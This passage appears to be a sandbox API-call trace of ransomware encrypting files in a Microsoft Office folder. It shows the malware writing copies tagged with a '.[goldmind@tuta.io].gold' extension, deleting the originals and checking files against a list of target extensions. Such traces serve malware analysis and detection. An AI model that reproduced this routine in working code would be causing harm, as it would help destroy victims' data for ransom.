dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0111.578] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=31136) returned 1 [0111.578] CloseHandle (hObject=0x3d8) returned 1 [0111.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae")) returned 0x20 [0111.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0111.578] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.578] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0111.579] GetLastError () returned 0x0 [0111.579] ReadFile (in: hFile=0x3d8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x79a0, lpOverlapped=0x0) returned 1 [0111.581] WriteFile (in: hFile=0x3b8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x79b0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x79b0, lpOverlapped=0x0) returned 1 [0111.582] ReadFile (in: hFile=0x3d8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.582] WriteFile (in: hFile=0x3b8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.582] SetEndOfFile (hFile=0x3b8) returned 1 [0111.582] CloseHandle (hObject=0x3b8) returned 1 [0111.582] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.582] SetEndOfFile (hFile=0x3d8) returned 1 [0111.584] CloseHandle (hObject=0x3d8) returned 1 [0111.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae")) returned 1 [0111.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0111.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0111.585] lstrlenW (lpString=".doc") returned 4 [0111.585] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.585] lstrlenW (lpString=".docx") returned 5 [0111.585] lstrcmpiW (lpString1=".docx", lpString2="N.FAE") returned -1 [0111.585] lstrlenW (lpString=".pdf") returned 4 [0111.585] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.585] lstrlenW (lpString=".xls") returned 4 [0111.585] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.585] lstrlenW (lpString=".xlsx") returned 5 [0111.585] lstrcmpiW (lpString1=".xlsx", lpString2="N.FAE") returned -1 [0111.585] lstrlenW (lpString=".ppt") returned 4 [0111.585] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0111.585] lstrlenW (lpString=".zip") returned 4 [0111.585] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.585] lstrlenW (lpString=".rar") returned 4 [0111.585] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.585] lstrlenW (lpString=".bz2") returned 4 [0111.585] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.585] lstrlenW (lpString=".7z") returned 3 [0111.585] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0111.585] lstrlenW (lpString=".dbf") returned 4 [0111.585] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0111.585] lstrlenW (lpString=".1cd") returned 4 [0111.585] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0111.585] lstrlenW (lpString=".jpg") returned 4 [0111.585] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0111.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0111.586] lstrlenW (lpString=".doc") returned 4 [0111.586] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.586] lstrlenW (lpString=".docx") returned 5 [0111.586] lstrcmpiW (lpString1=".docx", lpString2="N.FAE") returned -1 [0111.586] lstrlenW (lpString=".pdf") returned 4 [0111.586] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.586] lstrlenW (lpString=".xls") returned 4 [0111.586] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.586] lstrlenW (lpString=".xlsx") returned 5 [0111.586] lstrcmpiW (lpString1=".xlsx", lpString2="N.FAE") returned -1 [0111.586] lstrlenW (lpString=".ppt") returned 4 [0111.586] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0111.586] lstrlenW (lpString=".zip") returned 4 [0111.586] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.586] lstrlenW (lpString=".rar") returned 4 [0111.586] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.586] lstrlenW (lpString=".bz2") returned 4 [0111.586] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.586] lstrlenW (lpString=".7z") returned 3 [0111.586] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0111.586] lstrlenW (lpString=".dbf") returned 4 [0111.586] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0111.586] lstrlenW (lpString=".1cd") returned 4 [0111.586] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0111.586] lstrlenW (lpString=".jpg") returned 4 [0111.586] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.586] lstrcmpiW (lpString1=".SAM", lpString2=".gold") returned 1 [0111.586] lstrlenW (lpString="DESKSAM.SAM") returned 11 [0111.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0111.587] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=23424) returned 1 [0111.587] CloseHandle (hObject=0x3d8) returned 1 [0111.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam")) returned 0x20 [0111.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0111.587] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.587] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0111.590] GetLastError () returned 0x0 [0111.590] ReadFile (in: hFile=0x3d8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x5b80, lpOverlapped=0x0) returned 1 [0111.593] WriteFile (in: hFile=0x3b8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x5b90, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x5b90, lpOverlapped=0x0) returned 1 [0111.594] ReadFile (in: hFile=0x3d8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.594] WriteFile (in: hFile=0x3b8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0111.594] SetEndOfFile (hFile=0x3b8) returned 1 [0111.594] CloseHandle (hObject=0x3b8) returned 1 [0111.594] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.594] SetEndOfFile (hFile=0x3d8) returned 1 [0111.779] CloseHandle (hObject=0x3d8) returned 1 [0111.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.779] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam")) returned 1 [0111.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0111.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0111.780] lstrlenW (lpString=".doc") returned 4 [0111.780] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0111.780] lstrlenW (lpString=".docx") returned 5 [0111.780] lstrcmpiW (lpString1=".docx", lpString2="M.SAM") returned -1 [0111.780] lstrlenW (lpString=".pdf") returned 4 [0111.780] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0111.780] lstrlenW (lpString=".xls") returned 4 [0111.780] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0111.780] lstrlenW (lpString=".xlsx") returned 5 [0111.780] lstrcmpiW (lpString1=".xlsx", lpString2="M.SAM") returned -1 [0111.780] lstrlenW (lpString=".ppt") returned 4 [0111.780] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0111.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0111.780] lstrlenW (lpString=".zip") returned 4 [0111.780] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0111.780] lstrlenW (lpString=".rar") returned 4 [0111.780] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0111.780] lstrlenW (lpString=".bz2") returned 4 [0111.780] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0111.780] lstrlenW (lpString=".7z") returned 3 [0111.780] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0111.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0111.780] lstrlenW (lpString=".dbf") returned 4 [0111.780] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0111.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0111.780] lstrlenW (lpString=".1cd") returned 4 [0111.780] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0111.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0111.780] lstrlenW (lpString=".jpg") returned 4 [0111.780] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0111.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0111.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0111.780] lstrlenW (lpString=".doc") returned 4 [0111.781] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0111.781] lstrlenW (lpString=".docx") returned 5 [0111.781] lstrcmpiW (lpString1=".docx", lpString2="M.SAM") returned -1 [0111.781] lstrlenW (lpString=".pdf") returned 4 [0111.781] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0111.781] lstrlenW (lpString=".xls") returned 4 [0111.781] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0111.781] lstrlenW (lpString=".xlsx") returned 5 [0111.781] lstrcmpiW (lpString1=".xlsx", lpString2="M.SAM") returned -1 [0111.781] lstrlenW (lpString=".ppt") returned 4 [0111.781] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0111.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0111.781] lstrlenW (lpString=".zip") returned 4 [0111.781] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0111.781] lstrlenW (lpString=".rar") returned 4 [0111.781] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0111.781] lstrlenW (lpString=".bz2") returned 4 [0111.781] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0111.781] lstrlenW (lpString=".7z") returned 3 [0111.781] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0111.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0111.781] lstrlenW (lpString=".dbf") returned 4 [0111.781] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0111.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0111.781] lstrlenW (lpString=".1cd") returned 4 [0111.781] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0111.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0111.781] lstrlenW (lpString=".jpg") returned 4 [0111.781] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0111.781] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0111.781] lstrlenW (lpString="RM.DLL") returned 6 [0111.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0111.852] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=99688) returned 1 [0111.852] CloseHandle (hObject=0x194) returned 1 [0111.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll")) returned 0x20 [0111.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0111.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0111.865] lstrlenW (lpString=".doc") returned 4 [0111.865] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.865] lstrlenW (lpString=".docx") returned 5 [0111.865] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0111.865] lstrlenW (lpString=".pdf") returned 4 [0111.865] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.865] lstrlenW (lpString=".xls") returned 4 [0111.866] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.866] lstrlenW (lpString=".xlsx") returned 5 [0111.866] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0111.866] lstrlenW (lpString=".ppt") returned 4 [0111.866] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0111.866] lstrlenW (lpString=".zip") returned 4 [0111.866] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.866] lstrlenW (lpString=".rar") returned 4 [0111.866] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.866] lstrlenW (lpString=".bz2") returned 4 [0111.866] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.866] lstrlenW (lpString=".7z") returned 3 [0111.866] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0111.866] lstrlenW (lpString=".dbf") returned 4 [0111.866] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0111.866] lstrlenW (lpString=".1cd") returned 4 [0111.866] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0111.866] lstrlenW (lpString=".jpg") returned 4 [0111.866] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0111.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0111.866] lstrlenW (lpString=".doc") returned 4 [0111.866] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.866] lstrlenW (lpString=".docx") returned 5 [0111.866] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0111.866] lstrlenW (lpString=".pdf") returned 4 [0111.866] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.866] lstrlenW (lpString=".xls") returned 4 [0111.866] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.866] lstrlenW (lpString=".xlsx") returned 5 [0111.866] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0111.866] lstrlenW (lpString=".ppt") returned 4 [0111.866] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0111.866] lstrlenW (lpString=".zip") returned 4 [0111.866] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.866] lstrlenW (lpString=".rar") returned 4 [0111.866] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.866] lstrlenW (lpString=".bz2") returned 4 [0111.866] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.866] lstrlenW (lpString=".7z") returned 3 [0111.866] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0111.866] lstrlenW (lpString=".dbf") returned 4 [0111.866] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0111.866] lstrlenW (lpString=".1cd") returned 4 [0111.866] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0111.866] lstrlenW (lpString=".jpg") returned 4 [0111.866] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.867] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0111.867] lstrlenW (lpString="TRANSMGR.DLL") returned 12 [0111.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0111.915] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=130944) returned 1 [0111.915] CloseHandle (hObject=0x380) returned 1 [0111.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll")) returned 0x20 [0112.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0112.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0112.009] lstrlenW (lpString=".doc") returned 4 [0112.009] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0112.009] lstrlenW (lpString=".docx") returned 5 [0112.009] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0112.009] lstrlenW (lpString=".pdf") returned 4 [0112.009] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0112.009] lstrlenW (lpString=".xls") returned 4 [0112.009] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0112.009] lstrlenW (lpString=".xlsx") returned 5 [0112.009] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0112.009] lstrlenW (lpString=".ppt") returned 4 [0112.009] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0112.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0112.010] lstrlenW (lpString=".zip") returned 4 [0112.010] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0112.010] lstrlenW (lpString=".rar") returned 4 [0112.010] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0112.010] lstrlenW (lpString=".bz2") returned 4 [0112.010] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0112.010] lstrlenW (lpString=".7z") returned 3 [0112.010] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0112.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0112.010] lstrlenW (lpString=".dbf") returned 4 [0112.010] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0112.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0112.010] lstrlenW (lpString=".1cd") returned 4 [0112.010] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0112.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0112.010] lstrlenW (lpString=".jpg") returned 4 [0112.010] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0112.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0112.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0112.010] lstrlenW (lpString=".doc") returned 4 [0112.010] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0112.010] lstrlenW (lpString=".docx") returned 5 [0112.010] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0112.010] lstrlenW (lpString=".pdf") returned 4 [0112.010] lstrcmpiW 